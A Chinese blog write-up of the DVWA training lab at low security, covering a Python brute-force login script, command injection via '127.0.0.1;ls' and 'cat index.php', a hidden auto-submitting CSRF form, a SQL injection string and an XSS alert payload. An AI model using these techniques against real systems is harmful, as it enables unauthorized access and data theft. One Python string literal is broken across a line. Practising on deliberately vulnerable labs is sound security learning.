DVWS渗透测试平台训练

security level:low

1  暴力破解的,先输入一个密码试试,可以看到是get的信息,果断python跑。

import requests

url = "http://127.0.0.1/DVWA/vulnerabilities/brute/"
headers = {"cookie": "security=low; csrftoken=ImRs7OShKufLvWr059I5QFSti73XBXIX; PHPSESSID=eehcufb6e91pnmc9cpk5o83vs7"}
f = open("wordlist.txt", "r").readlines()
length = 4708
for word in f:
    payload = {"username": "admin", "password": word.strip("
"), "Login": "Login"}
    request = requests.get(url, params=payload, headers=headers)
    print request.url
    if len(request.content) != length:
        print word
        print request.url
        break

记住读取的文件要把换行符去掉,而且不同平台下的换行符还不一样。还有因为这个平台是需要登录的,cookie要加上。

4752
password

http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&Login=Login&password=password
#这个是结果  和登陆密码一样的

2 命令执行

看到是要输入ip,输入一个后看到返回了ping信息。

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.038 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.031/0.033/0.038/0.007 ms

然后加一个分号,加一条命令

127.0.0.1;ls

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.037 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.028 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.028/0.032/0.037/0.003 ms
help
index.php
source

试了试,目录是不可写的,但是能读取任意文件了。

127.0.0.1;cat index.php

3 csrf修改密码 

看了看html里面的form,是get的,没有token,这样也太简单了吧~

不过IE浏览器默认不允许网站的本地cookie在跨域请求中发送,除非设置P3P头,非IE浏览器没问题。

如果是post呢,我们可以自己构造一个表单,然后自动提交。

<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
               iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>

例子来源 http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

4 php文件包含

因为我对php了解不多,就查了一点资料

参考 http://www.2cto.com/Article/201304/201062.html

5 sql注入

输入id 查询用户信息 输了1, 2, 3等等都没问题 输入' 报错

我们可以猜想是这样的sql语句

select * from user where id = '$_GET[id]'

所以我们构造这样的id   a' or '1'='1

sql语句就变成了select * from user where id='1' or '1'='1' 了

--------------

这个话题其实可以拓展的,比如是sqlmap的使用,还有手动的去注入,直到拿到shell

 

6 sql盲注

先跳过

参考 http://scxo1oc06c.blogspot.com/2012/02/dvwa-blind-sql-injection-low-level.html

7 文件上传

貌似没有任何过滤

但是貌似我服务器权限设置有问题,稍后加上

8 两个xss

没有任何过滤,直接<script>alert(1)</script>

原文地址:https://www.cnblogs.com/virusdefender/p/3673893.html